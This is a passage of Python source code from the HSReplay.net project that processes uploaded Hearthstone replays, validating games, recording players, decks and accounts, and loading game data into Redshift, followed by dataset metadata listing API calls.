e.__class__.__name__,\n\t\t\t\t},\n\t\t\t)\n\t\t\traise ValidationError(str(e))\n\n\tgame = exporter.game\n\n\tif len(game.players) != 2:\n\t\traise ValidationError(\"Expected 2 players, found %i\" % (len(game.players)))\n\n\tfor player in game.players:\n\t\t# Set the player's name\n\t\tplayer.name = parser.games[0].manager.get_player_by_id(player.id).name\n\t\tif player.name is None:\n\t\t\t# If it's None, this is an unsupported replay.\n\t\t\tlog.error(\"Cannot find player %i name. Replay not supported.\", player.player_id)\n\t\t\traise GameTooShort(\"The game was too short to parse correctly\")\n\n\t\theroes = list(player.heroes)\n\t\tif not heroes:\n\t\t\traise UnsupportedReplay(\"No hero found for player %r\" % (player.name))\n\t\tplayer._hero = heroes[0]\n\n\t\ttry:\n\t\t\tdb_hero = Card.objects.get(card_id=player._hero.card_id)\n\t\texcept Card.DoesNotExist:\n\t\t\traise UnsupportedReplay(\"Hero %r not found.\" % (player._hero))\n\t\tif db_hero.type != CardType.HERO:\n\t\t\traise ValidationError(\"%r is not a valid hero.\" % (player._hero))\n\n\tfriendly_player_id = packet_tree.export(cls=FriendlyPlayerExporter)\n\tif friendly_player_id:\n\t\tmeta[\"friendly_player\"] = friendly_player_id\n\telif \"friendly_player\" not in meta:\n\t\traise ValidationError(\"Friendly player ID not present at upload and could not guess it.\")\n\n\t# We ignore \"reconnecting\" from the API, we only trust the log.\n\t# if \"reconnecting\" not in meta:\n\t# \tmeta[\"reconnecting\"] = False\n\t# There are two ways of identifying a reconnected game:\n\t# In reconnected games, the initial CREATE_GAME packet contains a STEP and STATE value.\n\t# In older versions of HS (pre-13xxx), STATE is RUNNING even in the CREATE_GAME packet.\n\t# Thankfully, looking at STEP is consistent across all versions, so we use that.\n\t# It will be Step.INVALID if it's NOT a reconnected game.\n\tmeta[\"reconnecting\"] = not not game.initial_step\n\n\t# Add the start/end time to meta dict\n\tmeta[\"start_time\"] = packet_tree.start_time\n\tmeta[\"end_time\"] = packet_tree.end_time\n\n\treturn game, exporter\n\n\ndef get_player_names(player):\n\tif not player.is_ai and \" \" in player.name:\n\t\treturn \"\", player.name\n\telse:\n\t\treturn player.name, \"\"\n\n\ndef _is_decklist_superset(superset_decklist, subset_decklist):\n\ts1 = set(superset_decklist) if superset_decklist else set()\n\ts2 = set(subset_decklist) if subset_decklist else set()\n\treturn s1.issuperset(s2)\n\n\ndef update_global_players(global_game, entity_tree, meta, upload_event):\n\t# Fill the player metadata and objects\n\tplayers = {}\n\n\tfor player in entity_tree.players:\n\t\tplayer_meta = meta.get(\"player%i\" % (player.player_id), {})\n\n\t\tis_spectated_replay = meta.get(\"spectator_mode\", False)\n\t\tis_friendly_player = player.player_id == meta[\"friendly_player\"]\n\t\tdecklist_from_meta = player_meta.get(\"deck\")\n\t\tdecklist_from_replay = [c.card_id for c in player.initial_deck if c.card_id]\n\n\t\tmeta_decklist_is_superset = _is_decklist_superset(\n\t\t\tdecklist_from_meta,\n\t\t\tdecklist_from_replay\n\t\t)\n\n\t\tif not decklist_from_meta or is_spectated_replay or not meta_decklist_is_superset:\n\t\t\t# Spectated replays never know more than is in the replay data\n\t\t\t# But may have erroneous data from the spectator's client's memory\n\t\t\t# Read from before they entered the spectated game\n\t\t\tdecklist = decklist_from_replay\n\t\telse:\n\t\t\tdecklist = decklist_from_meta\n\n\t\tname, real_name = get_player_names(player)\n\t\tplayer_hero_id = player._hero.card_id\n\n\t\ttry:\n\t\t\tdeck, _ = Deck.objects.get_or_create_from_id_list(\n\t\t\t\tdecklist,\n\t\t\t\thero_id=player_hero_id,\n\t\t\t\tgame_type=global_game.game_type,\n\t\t\t\tclassify_into_archetype=True\n\t\t\t)\n\t\t\tlog.debug(\"Prepared deck %i (created=%r)\", deck.id, _)\n\t\texcept IntegrityError as e:\n\t\t\t# This will happen if cards in the deck are not in the DB\n\t\t\t# For example, during a patch release\n\t\t\tinflux_metric(\"replay_deck_create_failure\", {\"global_game_id\": global_game.id})\n\t\t\tlog.exception(\"Could not create deck for player %r\", player)\n\t\t\tglobal_game.tainted_decks = True\n\t\t\t# Replace with an empty deck\n\t\t\tdeck, _ = Deck.objects.get_or_create_from_id_list([])\n\n\t\t# Create the BlizzardAccount first\n\t\tdefaults = {\n\t\t\t\"region\": BnetRegion.from_account_hi(player.account_hi),\n\t\t\t\"battletag\": name,\n\t\t}\n\n\t\tif not is_spectated_replay and not player.is_ai and is_friendly_player:\n\t\t\tuser = upload_event.token.user if upload_event.token else None\n\t\t\tif user and not user.is_fake:\n\t\t\t\t# and user.battletag and user.battletag.startswith(player.name):\n\t\t\t\tdefaults[\"user\"] = user\n\n\t\tblizzard_account, created = BlizzardAccount.objects.get_or_create(\n\t\t\taccount_hi=player.account_hi, account_lo=player.account_lo,\n\t\t\tdefaults=defaults\n\t\t)\n\t\tif not created and not blizzard_account.user and \"user\" in defaults:\n\t\t\t# Set BlizzardAccount.user if it's an available claim for the user\n\t\t\tinflux_metric(\"pegasus_account_claimed\", {\"count\": 1})\n\t\t\tblizzard_account.user = defaults[\"user\"]\n\t\t\tblizzard_account.save()\n\n\t\tlog.debug(\"Prepared BlizzardAccount %r\", blizzard_account)\n\n\t\t# Now create the GlobalGamePlayer object\n\t\tcommon = {\n\t\t\t\"game\": global_game,\n\t\t\t\"player_id\": player.player_id,\n\t\t}\n\t\tdefaults = {\n\t\t\t\"is_first\": player.tags.get(GameTag.FIRST_PLAYER, False),\n\t\t\t\"is_ai\": player.is_ai,\n\t\t\t\"hero_id\": player_hero_id,\n\t\t\t\"hero_premium\": player._hero.tags.get(GameTag.PREMIUM, False),\n\t\t\t\"final_state\": player.tags.get(GameTag.PLAYSTATE, 0),\n\t\t\t\"extra_turns\": player.tags.get(GameTag.EXTRA_TURNS_TAKEN_THIS_GAME, 0),\n\t\t\t\"deck_list\": deck,\n\t\t}\n\n\t\tupdate = {\n\t\t\t\"name\": name,\n\t\t\t\"real_name\": real_name,\n\t\t\t\"pegasus_account\": blizzard_account,\n\t\t\t\"rank\": player_meta.get(\"rank\"),\n\t\t\t\"legend_rank\": player_meta.get(\"legend_rank\"),\n\t\t\t\"stars\": player_meta.get(\"stars\"),\n\t\t\t\"wins\": player_meta.get(\"wins\"),\n\t\t\t\"losses\": player_meta.get(\"losses\"),\n\t\t\t\"deck_id\": player_meta.get(\"deck_id\") or None,\n\t\t\t\"cardback_id\": player_meta.get(\"cardback\"),\n\t\t}\n\n\t\tdefaults.update(update)\n\t\tgame_player, created = GlobalGamePlayer.objects.get_or_create(defaults=defaults, **common)\n\t\tlog.debug(\"Prepared player %r (%i) (created=%r)\", game_player, game_player.id, created)\n\n\t\tif not created:\n\t\t\t# Go through the update dict and update values on the player\n\t\t\t# This gets us extra data we might not have had when the player was first created\n\t\t\tupdated = False\n\t\t\tfor k, v in update.items():\n\t\t\t\tif v and getattr(game_player, k) != v:\n\t\t\t\t\tsetattr(game_player, k, v)\n\t\t\t\t\tupdated = True\n\n\t\t\t# Skip updating the deck if we already have a bigger one\n\t\t\t# TODO: We should make deck_list nullable and only create it here\n\t\t\tif len(decklist) > game_player.deck_list.size:\n\t\t\t\t# XXX: Maybe we should also check friendly_player_id for good measure\n\t\t\t\tgame_player.deck_list = deck\n\t\t\t\tupdated = True\n\n\t\t\tif updated:\n\t\t\t\tlog.debug(\"Saving updated player to the database.\")\n\t\t\t\tgame_player.save()\n\n\t\tplayers[player.player_id] = game_player\n\n\treturn players\n\n\ndef do_process_upload_event(upload_event):\n\tmeta = json.loads(upload_event.metadata)\n\n\t# Parse the UploadEvent's file\n\tparser = parse_upload_event(upload_event, meta)\n\t# Validate the resulting object and metadata\n\tentity_tree, exporter = validate_parser(parser, meta)\n\n\t# Create/Update the global game object and its players\n\tglobal_game, global_game_created = find_or_create_global_game(entity_tree, meta)\n\tplayers = update_global_players(global_game, entity_tree, meta, upload_event)\n\n\t# Create/Update the replay object itself\n\treplay, game_replay_created = find_or_create_replay(\n\t\tparser, entity_tree, meta, upload_event, global_game, players\n\t)\n\n\tcan_attempt_redshift_load = False\n\n\tif global_game.loaded_into_redshift is None:\n\t\tlog.debug(\"Global game has not been loaded into redshift.\")\n\t\t# Attempt to claim the advisory_lock, if successful:\n\t\tcan_attempt_redshift_load = global_game.acquire_redshift_lock()\n\telse:\n\t\tlog.debug(\"Global game has already been loaded into Redshift\")\n\n\t# Defer flushing the exporter until after the UploadEvent is set to SUCCESS\n\t# So that the player can start watching their replay sooner\n\tdef do_flush_exporter():\n\t\t# Only if we were able to claim the advisory lock do we proceed here.\n\t\tif can_attempt_redshift_load:\n\t\t\tlog.debug(\"Redshift lock acquired. Will attempt to flush to redshift\")\n\n\t\t\tif should_load_into_redshift(upload_event, global_game):\n\t\t\t\twith influx_timer(\"generate_redshift_game_info_duration\"):\n\t\t\t\t\tgame_info = get_game_info(global_game, replay)\n\t\t\t\texporter.set_game_info(game_info)\n\n\t\t\t\ttry:\n\t\t\t\t\twith influx_timer(\"flush_exporter_to_firehose_duration\"):\n\t\t\t\t\t\tflush_failures_report = flush_exporter_to_firehose(\n\t\t\t\t\t\t\texporter,\n\t\t\t\t\t\t\trecords_to_flush=get_records_to_flush()\n\t\t\t\t\t\t)\n\t\t\t\t\t\tfor target_table, errors in flush_failures_report.items():\n\t\t\t\t\t\t\tfor error in errors:\n\t\t\t\t\t\t\t\tinflux_metric(\n\t\t\t\t\t\t\t\t\t\"firehose_flush_failure\",\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\"stream_name\": error[\"stream_name\"],\n\t\t\t\t\t\t\t\t\t\t\"error_code\": error[\"error_code\"],\n\t\t\t\t\t\t\t\t\t\t\"error_message\": error[\"error_message\"],\n\t\t\t\t\t\t\t\t\t\t\"count\": 1\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\ttarget_table=target_table\n\t\t\t\t\t\t\t\t)\n\t\t\t\texcept:\n\t\t\t\t\traise\n\t\t\t\telse:\n\t\t\t\t\tglobal_game.loaded_into_redshift = timezone.now()\n\t\t\t\t\tglobal_game.save()\n\t\t\t\t\t# Okay to release the advisory lock once loaded_into_redshift is set\n\t\t\t\t\t# It will also be released automatically when the lambda exits.\n\t\t\t\t\tglobal_game.release_redshift_lock()\n\t\telse:\n\t\t\tlog.debug(\"Did not acquire redshift lock. Will not flush to redshift\")\n\n\treturn replay, do_flush_exporter\n\n\ndef get_records_to_flush():\n\tfrom hsredshift.etl.records import STAGING_RECORDS\n\tfrom hsreplaynet.uploads.models import RedshiftStagingTrack\n\tactive_track = RedshiftStagingTrack.objects.get_active_track()\n\tstaging_records = {r.REDSHIFT_TABLE: r for r in STAGING_RECORDS}\n\tresult = []\n\tfor table in active_track.tables.all():\n\t\tif table.target_table in staging_records:\n\t\t\tresult.append(staging_records[table.target_table])\n\n\treturn result\n\n\ndef should_load_into_redshift(upload_event, global_game):\n\tif global_game.tainted_decks:\n\t\treturn False\n\n\tis_not_test_data = (not upload_event.test_data)\n\tis_not_exclude_from_stats = (not global_game.exclude_from_statistics)\n\tis_not_already_loaded = global_game.loaded_into_redshift is None\n\n\tif settings.ENV_AWS and settings.REDSHIFT_LOADING_ENABLED:\n\t\tif is_not_test_data and is_not_exclude_from_stats and is_not_already_loaded:\n\t\t\tif replay_meets_recency_requirements(upload_event, global_game):\n\t\t\t\treturn True\n\n\treturn False\n\n\ndef replay_meets_recency_requirements(upload_event, global_game):\n\t# We only load games in where the match_start date is within +/ 36 hours from\n\t# The upload_date. This filters out really old replays people might upload\n\t# Or replays from users with crazy system clocks.\n\t# The purpose of this filtering is to do reduce variability and thrash in our vacuuming\n\t# If we determine that vacuuming is not a bottleneck than we can consider\n\t# relaxing this requirement.\n\tmeets_requirements, diff_hours = _dates_within_threshold(\n\t\tglobal_game.match_start,\n\t\tupload_event.log_upload_date,\n\t\tsettings.REDSHIFT_ETL_UPLOAD_DELAY_LIMIT_HOURS\n\t)\n\tif not meets_requirements:\n\t\tinflux_metric(\"replay_failed_recency_requirement\", {\"count\": 1, \"diff\": diff_hours})\n\treturn meets_requirements\n\n\ndef _dates_within_threshold(d1, d2, threshold_hours):\n\tdiff = d1 - d2\n\tdiff_hours = abs(diff.total_seconds()) / 3600.0\n\twithin_threshold = diff_hours <= threshold_hours\n\treturn within_threshold, diff_hours\n\n\ndef get_game_info(global_game, replay):\n\tplayer1 = replay.player(1)\n\tplayer2 = replay.player(2)\n\n\twith influx_timer(\"generate_redshift_player_decklists_duration\"):\n\t\tplayer1_decklist = player1.deck_list.as_dbf_json()\n\t\tplayer2_decklist = player2.deck_list.as_dbf_json()\n\n\tif settings.REDSHIFT_USE_MATCH_START_AS_GAME_DATE and global_game.match_start:\n\t\tgame_date = global_game.match_start.date()\n\telse:\n\t\tgame_date = timezone.now().date()\n\n\tgame_info = {\n\t\t\"game_id\": int(global_game.id),\n\t\t\"shortid\": replay.shortid,\n\t\t\"game_type\": int(global_game.game_type),\n\t\t\"scenario_id\": global_game.scenario_id,\n\t\t\"ladder_season\": global_game.ladder_season,\n\t\t\"brawl_season\": global_game.brawl_season,\n\t\t\"game_date\": game_date,\n\t\t\"players\": {\n\t\t\t\"1\": {\n\t\t\t\t\"deck_id\": int(player1.deck_list.id),\n\t\t\t\t\"archetype_id\": get_archetype_id(player1),\n\t\t\t\t\"deck_list\": player1_decklist,\n\t\t\t\t\"rank\": 0 if player1.legend_rank else player1.rank if player1.rank else -1,\n\t\t\t\t\"legend_rank\": player1.legend_rank,\n\t\t\t\t\"full_deck_known\": player1.deck_list.size == 30\n\t\t\t},\n\t\t\t\"2\": {\n\t\t\t\t\"deck_id\": int(player2.deck_list.id),\n\t\t\t\t\"archetype_id\": get_archetype_id(player2),\n\t\t\t\t\"deck_list\": player2_decklist,\n\t\t\t\t\"rank\": 0 if player2.legend_rank else player2.rank if player2.rank else -1,\n\t\t\t\t\"legend_rank\": player2.legend_rank,\n\t\t\t\t\"full_deck_known\": player2.deck_list.size == 30,\n\t\t\t},\n\t\t}\n\t}\n\n\treturn game_info\n\n\ndef get_archetype_id(p):\n\treturn int(p.deck_list.archetype.id) if p.deck_list.archetype else None\n", "repo_name": "omni5cience/HSReplay.net", "sub_path": "hsreplaynet/games/processing.py", "file_name": "processing.py", "file_ext": "py", "file_size_in_byte": 26217, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "hsreplaynet.utils.log.info", "line_number": 70, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 70, "usage_type": "name"}, {"api_name": "hsreplay.document.HSReplayDocument.from_parser", "line_number": 75, "usage_type": "call"}, {"api_name": "hsreplay.document.HSReplayDocument", "line_number": 75, "usage_type": "name"}, {"api_name": "django.core.files.base.ContentFile", "line_number": 100, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 108, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.guess_ladder_season", "line_number": 114, "usage_type": "call"}, {"api_name": "hearthstone.enums.GameTag.TURN", "line_number": 130, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.GameTag", "line_number": 130, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 140, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 140, "usage_type": "name"}, {"api_name": "models.GlobalGame.objects.get_or_create", "line_number": 141, "usage_type": "call"}, {"api_name": "models.GlobalGame.objects", "line_number": 141, "usage_type": "attribute"}, {"api_name": "models.GlobalGame", "line_number": 141, "usage_type": "name"}, {"api_name": "models.GlobalGame.objects.create", "line_number": 143, "usage_type": "call"}, {"api_name": "models.GlobalGame.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "models.GlobalGame", "line_number": 143, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 146, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 146, "usage_type": "name"}, {"api_name": "hsreplaynet.decks.models.Deck.objects.get_or_create_from_id_list", "line_number": 155, "usage_type": "call"}, {"api_name": "hsreplaynet.decks.models.Deck.objects", "line_number": 155, "usage_type": "attribute"}, {"api_name": "hsreplaynet.decks.models.Deck", "line_number": 155, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 161, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 161, "usage_type": "name"}, {"api_name": "models._generate_upload_path", "line_number": 169, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 170, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 170, "usage_type": "name"}, {"api_name": "hsreplay.__version__", "line_number": 198, "usage_type": "name"}, {"api_name": "hslog.__version__", "line_number": 199, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 208, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 211, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 211, "usage_type": "name"}, {"api_name": "django.core.files.storage.default_storage.exists", "line_number": 214, "usage_type": "call"}, {"api_name": "django.core.files.storage.default_storage", "line_number": 214, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 216, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 216, "usage_type": "name"}, {"api_name": "django.core.files.storage.default_storage.delete", "line_number": 217, "usage_type": "call"}, {"api_name": "django.core.files.storage.default_storage", "line_number": 217, "usage_type": "name"}, {"api_name": "models.GameReplay.objects.get_or_create", "line_number": 240, "usage_type": "call"}, {"api_name": "models.GameReplay.objects", "line_number": 240, "usage_type": "attribute"}, {"api_name": "models.GameReplay", "line_number": 240, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 241, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 241, "usage_type": "name"}, {"api_name": "models.GameReplay.objects.get_or_create", "line_number": 246, "usage_type": "call"}, {"api_name": "models.GameReplay.objects", "line_number": 246, "usage_type": "attribute"}, {"api_name": "models.GameReplay", "line_number": 246, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 247, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 247, "usage_type": "name"}, {"api_name": "models.ReplayAlias.objects.get_or_create", "line_number": 263, "usage_type": "call"}, {"api_name": "models.ReplayAlias.objects", "line_number": 263, "usage_type": "attribute"}, {"api_name": "models.ReplayAlias", "line_number": 263, "usage_type": "name"}, {"api_name": "models.GameReplay.objects.get", "line_number": 267, "usage_type": "call"}, {"api_name": "models.GameReplay.objects", "line_number": 267, "usage_type": "attribute"}, {"api_name": "models.GameReplay", "line_number": 267, "usage_type": "name"}, {"api_name": "hslog.exceptions.ParsingError", "line_number": 278, "usage_type": "argument"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.PARSING_ERROR", "line_number": 279, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 279, "usage_type": "name"}, {"api_name": "hslog.export.EntityTreeExporter.EntityNotFound", "line_number": 280, "usage_type": "attribute"}, {"api_name": "hslog.export.EntityTreeExporter", "line_number": 280, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.UNSUPPORTED", "line_number": 281, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 281, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.UNSUPPORTED", "line_number": 283, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 283, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 284, "usage_type": "argument"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.VALIDATION_ERROR", "line_number": 285, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 285, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.SERVER_ERROR", "line_number": 288, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 288, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.SERVER_ERROR", "line_number": 290, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 290, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.PROCESSING", "line_number": 300, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 300, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.PROCESSING", "line_number": 301, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 301, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 309, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 314, "usage_type": "call"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus.SUCCESS", "line_number": 326, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.UploadEventStatus", "line_number": 326, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_timer", "line_number": 330, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.instrumentation.error_handler", "line_number": 334, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 335, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 347, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 355, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 356, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 357, "usage_type": "call"}, {"api_name": "hslog.LogParser", "line_number": 360, "usage_type": "call"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack.objects.get_active_track_prefix", "line_number": 370, "usage_type": "call"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack.objects", "line_number": 370, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack", "line_number": 370, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 377, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_timer", "line_number": 379, "usage_type": "call"}, {"api_name": "hsredshift.etl.exporters.RedshiftPublishingExporter", "line_number": 381, "usage_type": "call"}, {"api_name": "hsredshift.etl.exporters.CorruptReplayPacketError", "line_number": 385, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 386, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 394, "usage_type": "call"}, {"api_name": "hsredshift.etl.exporters.CorruptReplayDataError", "line_number": 395, "usage_type": "name"}, {"api_name": "hslog.exceptions.MissingPlayerData", "line_number": 395, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 396, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 402, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 407, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.error", "line_number": 414, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 414, "usage_type": "name"}, {"api_name": "django_hearthstone.cards.models.Card.objects.get", "line_number": 423, "usage_type": "call"}, {"api_name": "django_hearthstone.cards.models.Card.objects", "line_number": 423, "usage_type": "attribute"}, {"api_name": "django_hearthstone.cards.models.Card", "line_number": 423, "usage_type": "name"}, {"api_name": "django_hearthstone.cards.models.Card.DoesNotExist", "line_number": 424, "usage_type": "attribute"}, {"api_name": "django_hearthstone.cards.models.Card", "line_number": 424, "usage_type": "name"}, {"api_name": "hearthstone.enums.CardType.HERO", "line_number": 426, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.CardType", "line_number": 426, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 427, "usage_type": "call"}, {"api_name": "hslog.export.FriendlyPlayerExporter", "line_number": 429, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 433, "usage_type": "call"}, {"api_name": "hsreplaynet.decks.models.Deck.objects.get_or_create_from_id_list", "line_number": 494, "usage_type": "call"}, {"api_name": "hsreplaynet.decks.models.Deck.objects", "line_number": 494, "usage_type": "attribute"}, {"api_name": "hsreplaynet.decks.models.Deck", "line_number": 494, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 500, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 500, "usage_type": "name"}, {"api_name": "django.db.utils.IntegrityError", "line_number": 501, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 504, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.exception", "line_number": 505, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 505, "usage_type": "name"}, {"api_name": "hsreplaynet.decks.models.Deck.objects.get_or_create_from_id_list", "line_number": 508, "usage_type": "call"}, {"api_name": "hsreplaynet.decks.models.Deck.objects", "line_number": 508, "usage_type": "attribute"}, {"api_name": "hsreplaynet.decks.models.Deck", "line_number": 508, "usage_type": "name"}, {"api_name": "hearthstone.enums.BnetRegion.from_account_hi", "line_number": 512, "usage_type": "call"}, {"api_name": "hearthstone.enums.BnetRegion", "line_number": 512, "usage_type": "name"}, {"api_name": "hearthsim_identity.accounts.models.BlizzardAccount.objects.get_or_create", "line_number": 522, "usage_type": "call"}, {"api_name": "hearthsim_identity.accounts.models.BlizzardAccount.objects", "line_number": 522, "usage_type": "attribute"}, {"api_name": "hearthsim_identity.accounts.models.BlizzardAccount", "line_number": 522, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 528, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 532, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 532, "usage_type": "name"}, {"api_name": "hearthstone.enums.GameTag.FIRST_PLAYER", "line_number": 540, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.GameTag", "line_number": 540, "usage_type": "name"}, {"api_name": "hearthstone.enums.GameTag.PREMIUM", "line_number": 543, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.GameTag", "line_number": 543, "usage_type": "name"}, {"api_name": "hearthstone.enums.GameTag.PLAYSTATE", "line_number": 544, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.GameTag", "line_number": 544, "usage_type": "name"}, {"api_name": "hearthstone.enums.GameTag.EXTRA_TURNS_TAKEN_THIS_GAME", "line_number": 545, "usage_type": "attribute"}, {"api_name": "hearthstone.enums.GameTag", "line_number": 545, "usage_type": "name"}, {"api_name": "models.GlobalGamePlayer.objects.get_or_create", "line_number": 563, "usage_type": "call"}, {"api_name": "models.GlobalGamePlayer.objects", "line_number": 563, "usage_type": "attribute"}, {"api_name": "models.GlobalGamePlayer", "line_number": 563, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 564, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 564, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 583, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 583, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 592, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 611, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 611, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 615, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 615, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 622, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 622, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_timer", "line_number": 625, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_timer", "line_number": 630, "usage_type": "call"}, {"api_name": "hsredshift.etl.firehose.flush_exporter_to_firehose", "line_number": 631, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 637, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 650, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 650, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.log.debug", "line_number": 656, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.log", "line_number": 656, "usage_type": "name"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack.objects.get_active_track", "line_number": 664, "usage_type": "call"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack.objects", "line_number": 664, "usage_type": "attribute"}, {"api_name": "hsreplaynet.uploads.models.RedshiftStagingTrack", "line_number": 664, "usage_type": "name"}, {"api_name": "hsredshift.etl.records.STAGING_RECORDS", "line_number": 665, "usage_type": "name"}, {"api_name": "django.conf.settings.ENV_AWS", "line_number": 682, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 682, "usage_type": "name"}, {"api_name": "django.conf.settings.REDSHIFT_LOADING_ENABLED", "line_number": 682, "usage_type": "attribute"}, {"api_name": "django.conf.settings.REDSHIFT_ETL_UPLOAD_DELAY_LIMIT_HOURS", "line_number": 700, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 700, "usage_type": "name"}, {"api_name": "hsreplaynet.utils.influx.influx_metric", "line_number": 703, "usage_type": "call"}, {"api_name": "hsreplaynet.utils.influx.influx_timer", "line_number": 718, "usage_type": "call"}, {"api_name": 